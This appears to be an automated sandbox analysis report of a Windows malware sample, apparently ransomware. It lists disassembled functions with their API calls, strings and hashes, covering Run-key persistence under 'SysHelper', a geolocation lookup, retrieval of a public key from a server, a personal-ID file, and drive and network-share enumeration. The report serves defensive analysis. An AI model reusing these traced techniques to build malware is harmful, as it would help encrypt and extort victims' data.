Uniqueness Score: -1.00%

Function 0041F130 Relevance: 21.7, APIs: 11, Strings: 1, Instructions: 689sleeptimewindowCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0041F15E
Sleep.KERNEL32(?), ref: 0041F185
Sleep.KERNEL32(?), ref: 0041F19D
SendMessageW.USER32(?,00008003,00000000,00000000), ref: 0041F9D0

Part of subcall function 00410A50: GetLogicalDrives.KERNEL32 ref: 00410A75
Part of subcall function 00410A50: SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
Part of subcall function 00410A50: PathFileExistsA.SHLWAPI(?), ref: 00410AF9
Part of subcall function 00410A50: SetErrorMode.KERNEL32(00000000), ref: 00410B02
Part of subcall function 00410A50: GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Strings

C:\, xrefs: 0041F1FC, 0041F267, 0041F709, 0041F72E, 0041F736

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: ErrorModeSleep$DriveDrivesExistsFileLogicalMessagePathSendTimeTypetime
String ID: C:\
API String ID: 3672571082-3404278061
Opcode ID: 99439cb1b82b38455759463e76a52b3e11960165c09f04e6124a58be1507069c
Instruction ID: 5c6d64671d491e840e8d62e2c9f1d443296aa8abdfe0033865403ad230f1735f
Opcode Fuzzy Hash: 99439cb1b82b38455759463e76a52b3e11960165c09f04e6124a58be1507069c
Instruction Fuzzy Hash: C842B171E003059BDF24DFA8C885BDEB7B1BF44308F14452EE805AB381D779A98ACB95

Uniqueness

Uniqueness Score: -1.00%

Function 0041BAE0 Relevance: 18.3, APIs: 12, Instructions: 320
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 0041BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
_malloc.LIBCMT ref: 0041BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 0041BBF4
_free.LIBCMT ref: 0041BCD7

Part of subcall function 00411CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
Part of subcall function 00411CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48

IsWindow.USER32(?), ref: 0041BF69
DestroyWindow.USER32(?), ref: 0041BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: 6d9c633937a176f7151e5ce79678a452f55eacbe0289a2ea62e0e3c4ca65539d
Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
Opcode Fuzzy Hash: 6d9c633937a176f7151e5ce79678a452f55eacbe0289a2ea62e0e3c4ca65539d
Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00423576 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004235B1

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__gmtime64_s.LIBCMT ref: 0042364A
__gmtime64_s.LIBCMT ref: 00423680
__gmtime64_s.LIBCMT ref: 0042369D
__allrem.LIBCMT ref: 004236F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
__allrem.LIBCMT ref: 00423726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
__allrem.LIBCMT ref: 0042375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779
__invoke_watson.LIBCMT ref: 004237EA

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798

Uniqueness

Uniqueness Score: -1.00%

Function 0040CF10 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
InternetCloseHandle.WININET(00000000), ref: 0040CFDA
InternetCloseHandle.WININET(00000000), ref: 0040CFDD

Strings

https://api.2ip.ua/geo.json, xrefs: 0040CF79
Microsoft Internet Explorer, xrefs: 0040CF5A
"country_code":", xrefs: 0040CFE1

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-2962370585
Opcode ID: cd78e1898ea84e60fdfa50f9eb83c3ab62832c9868a69cc69d1cb43ec1d7311d
Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
Opcode Fuzzy Hash: cd78e1898ea84e60fdfa50f9eb83c3ab62832c9868a69cc69d1cb43ec1d7311d
Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8

_fgetws.LIBCMT ref: 0040C7BC
_memmove.LIBCMT ref: 0040C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B

Strings

C:\SystemID\PersonalID.txt, xrefs: 0040C77C, 0040C956
C:\SystemID, xrefs: 0040C946

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: bc0409cf67eb96ff452217d95cb33fc7a1503bde444b563dd6455330355649b4
Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
Opcode Fuzzy Hash: bc0409cf67eb96ff452217d95cb33fc7a1503bde444b563dd6455330355649b4
Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,0041E6D4), ref: 0040C6C2
RegQueryValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0040C700
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
RegCloseKey.ADVAPI32(00000000), ref: 0040C72E

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040C6B8
SysHelper, xrefs: 0040C6EB, 0040C71D

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32

Strings

bowsakkdestx.txt, xrefs: 0041EA67
{"public_key":", xrefs: 0041EA2E

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
Opcode ID: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction ID: c8d03ce4d59ef2fdab541fe9505dce31f646fa9b39186cada3cd653a8fd1c75a
Opcode Fuzzy Hash: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction Fuzzy Hash: 3901D234448391ABD630DF119C45FDF7B98AF51304F44482EFD8892182EF78A248879B

Uniqueness

Uniqueness Score: -1.00%

Function 0040C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539

Strings

bowsakkdestx.txt, xrefs: 0040C52D

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: 474c6379b963d257ae86b00d206dade7857df39941341afbbe7ce7c2bd65e929
Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
Opcode Fuzzy Hash: 474c6379b963d257ae86b00d206dade7857df39941341afbbe7ce7c2bd65e929
Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD
ShowWindow.USER32(00000000,00000000), ref: 0041BABE
UpdateWindow.USER32(00000000), ref: 0041BAC5

Strings

LPCWSTRszWindowClass, xrefs: 0041BAA0
LPCWSTRszTitle, xrefs: 0041BA9B

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C

Uniqueness

Uniqueness Score: -1.00%

Function 00410BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,00000000,?), ref: 00410C12
GlobalAlloc.KERNEL32(00000040,00004000), ref: 00410C39
_memset.LIBCMT ref: 00410C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: 54b312cc4ee8bd09624119d4c268e334e055f93c635bfd49589b22278edf9028
Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
Opcode Fuzzy Hash: 54b312cc4ee8bd09624119d4c268e334e055f93c635bfd49589b22278edf9028
Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00410A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00410A75
SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
PathFileExistsA.SHLWAPI(?), ref: 00410AF9
SetErrorMode.KERNEL32(00000000), ref: 00410B02
GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: abf5c6e0efdd389544677e6cb5cb0e78d8410ac3c25e0c00220655f65efa947f
Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
Opcode Fuzzy Hash: abf5c6e0efdd389544677e6cb5cb0e78d8410ac3c25e0c00220655f65efa947f
Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97

Uniqueness

Uniqueness Score: -1.00%

Function 00423B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00423B64

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(007A0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

std::exception::exception.LIBCMT ref: 00423B82
__CxxThrowException@8.LIBCMT ref: 00423B97

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

Strings

bad allocation, xrefs: 00423B77

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 3074076210-2104205924
Opcode ID: d93e2eea3652fe4f1499b77bcec83b8ecc73cd62fdc624022b9831727aeb6046
Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
Opcode Fuzzy Hash: d93e2eea3652fe4f1499b77bcec83b8ecc73cd62fdc624022b9831727aeb6046
Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000,00000000,?,?), ref: 0040F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
CloseHandle.KERNEL32(00000000), ref: 0040F1A8

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: df8966e02a3f9d03a816607f9624d87d989a2f119eda69976359c742cc2f312e
Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
Opcode Fuzzy Hash: df8966e02a3f9d03a816607f9624d87d989a2f119eda69976359c742cc2f312e
Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0041B1BA

Part of subcall function 004111C0: CreateFileW.KERNEL32(00000000,C0000000,00000001,00000000,00000003,00000080,00000000,?,00000000,?), ref: 0041120F
Part of subcall function 004111C0: GetFileSizeEx.KERNEL32(00000000,?,?,00000000,?), ref: 00411228
Part of subcall function 004111C0: CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041123D
Part of subcall function 004111C0: MoveFileW.KERNEL32(00000000,?), ref: 00411277

Part of subcall function 0041BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
Part of subcall function 0041BA10: RegisterClassExW.USER32(00000030), ref: 0041BA73

Part of subcall function 0041BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041B4B3
TranslateMessage.USER32(?), ref: 0041B4CD
DispatchMessageW.USER32(?), ref: 0041B4D7

Strings

%username%, xrefs: 0041B283
I:\5d2860c89d774.jpg, xrefs: 0041B32F

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: 4f3b55efb1038d6a211e9fd8528573cfcaa3c93caac539f90d5f80e48fc63da4
Instruction ID: 53fb4cb99f7e95a824910e08ad4bb0dd21933b0d591bc71827c80b4e91f39c04
Opcode Fuzzy Hash: 4f3b55efb1038d6a211e9fd8528573cfcaa3c93caac539f90d5f80e48fc63da4
Instruction Fuzzy Hash: 015188715142449BC718FF61CC929EFB7A8BF54348F40482EF446431A2EF78AA9DCB96

Uniqueness

Uniqueness Score: -1.00%

Function 0040C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B
_fputws.LIBCMT ref: 0040C9C6
_fputws.LIBCMT ref: 0040C9E8
_fputws.LIBCMT ref: 0040C9F3

Strings

C:\SystemID\PersonalID.txt, xrefs: 0040C956
C:\SystemID, xrefs: 0040C946

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: b9f202a46f54d295c2be6cc259b5f6dbd11e9afd298a7670df070f9b36d6038a
Instruction ID: 548e7949761e073c688dfdb6472f733b12cf2ebad02737ba307de427565b7e5f
Opcode Fuzzy Hash: b9f202a46f54d295c2be6cc259b5f6dbd11e9afd298a7670df070f9b36d6038a
Instruction Fuzzy Hash: 9911E672A00315EBCF20DF65DC8579A77A0AF10318F10063BED5962291E37A99588BCA

Uniqueness

Uniqueness Score: -1.00%

Function 00454C00 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

